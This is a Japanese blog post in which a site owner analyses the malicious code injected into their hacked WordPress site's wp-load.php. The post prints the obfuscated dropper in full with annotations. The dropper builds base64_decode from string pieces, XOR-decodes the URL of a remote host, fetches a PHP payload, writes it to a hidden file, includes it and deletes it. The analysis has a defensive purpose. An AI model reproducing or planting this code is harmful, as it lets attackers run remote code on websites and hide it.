WordPressが改竄されたのでコードを読んでみる

先日自分が関わっていたwebサイトが改竄の被害に遭いました。「WordPressは超メジャーツールだからやられやすいよ!」みたいなのはなんぼでも見かけていたのですが、実際にやられるとほげええええって感じですね。

経緯

  • ショッピングサイトだったため改竄から比較的早い段階で事が発覚。サイトにアクセスできなくなる(まっしろ)
  • 検索から飛ぶとなにやら怪しいサイトに飛ばされると報告(自分では未確認)
  • 身に覚えのないディレクトリ及びファイルが混入を確認
  • しかも削除しても復活する

問題のコード

wp-load.phpの冒頭が改竄されていたようです。

以下は整形済み + ある程度解読したコードです。


/**
* エラーの出力を無効にする
* wordpressでこのような設定はしていない(wp-configで管理?, そもそもすべてのエラーを表示しないことはないはず)
*/
@ini_set('display_errors', '0');
error_reporting(0);
​
if (!$npDcheckClassBgp) {
    $ea = '_shaesx_';
    $ay = 'get_data_ya';
    $ae = 'decode';
    $ea = str_replace('_sha', 'bas', $ea);  //$sa = 'basesx_'
    $ao = 'wp_cd';
    $ee = $ea.$ae;                          //$ee = 'basesx_decode'
    $oa = str_replace('sx', '64', $ee);     //$oa = 'base64_decode'
    $algo = 'zaykah';
    $pass = "Zgc5c4MXrL8kbQBSs88NKfKeflvUNPlfnyDNGK/X/wEfeQ=="; //base64でデコードされた文字列 元の文字列は'WmdjNWM0TVhyTDhrYlFCU3M4OE5LZktlZmx2VU5QbGZueUROR0svWC93RWZlUT09'
​
    /**
     * デフォルトではtrue(1)
     * 
     * このオプションにより、URL対応のfopenラッパーが使用可能となり、 ファイルのようにURLオブジェクトをアクセスできるようになります。
     * デフォルトのラッパーが、ftpまたはhttpプロトコルを用いて リモートファイルに アクセスするために提供されています。
     * zlibのようないくつかの拡張モジュールが ラッパーを追加することがあります。
     * 参考:https://www.php.net/manual/ja/filesystem.configuration.php#ini.allow-url-fopen
     * 
     * allow_url_fopenがfalseの場合curlを用いて回避している模様
     */
    if (ini_get('allow_url_fopen')) {
        function get_data_ya($url) {
            $data = file_get_contents($url);
            return $data;
        }
    } else {
        function get_data_ya($url) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
    }
​
    /**
     * 引数の文字列をビット変換して排他的論理和を出すことで任意を文字列を返す
     * 今回出力されるのは ttp://ferm2018all.☆/lnk/inj.php
     * h省略 & ☆→com
     */
    function wp_cd($fd, $fa=""){
        $fe = "wp_frmfunct";
        $len = strlen($fd);
        $ff = '';
        $n = $len>100 ? 8 : 2;
        while( strlen($ff)<$len )
        {
            $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
        }
        return $fd^$ff;
    }
​
    /**
     * $ay = 'get_data_ya'
     * $ao = 'wp_cd'
     * $oa = 'base64_decode'
     * 手順は
     * 1. $decoded_pass = base64_decode($pass);
     * 2. $return_value = wp_cd($decoded_pass, 'wp_function');  //URL生成
     * 3. $reqw = get_data_ya($return_value);                   //URLからファイルを入手
     */
    $reqw = $ay($ao($oa("$pass"), 'wp_function'));
​
    /**
     * 取得したファイルをもとに改ざんを行う模様
     * わざわざ改竄ファイルを取得したくないのでここからは解読しない
     */
    preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
    $dirs = glob("*", GLOB_ONLYDIR);
    foreach ($dirs as $dira) {
        if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
        $subdirs = glob("$dira/*", GLOB_ONLYDIR);
        foreach ($subdirs as $subdira) {
            if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
        }
    }
    if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
    fwrite($hdl, "<?php\n$mtchs[1]\n?>");
    fclose($hdl);
    include("{$eb}.$algo");
    unlink("{$eb}.$algo");
    $npDcheckClassBgp = 'aue';
}

内容としてはざっくり悪意のあるphpファイルを拾ってきて展開するだけなのですが、ばれにくくするために

  • 変数に格納した文字列の連結・置換
  • 可変関数を用いて実行している関数をわかりにくくしている
  • “wp_〇〇”という文字列を使用しそれっぽくした上に、base64でデコードした文字列も併せてビット変換、二つの文字列を排他的論理和で任意のURLを生成している

などといったことをしているようでした。(素人なので間違っているかも)

改竄されないように普段からアップデートや不要なプラグインの消去など気を付けたいですね。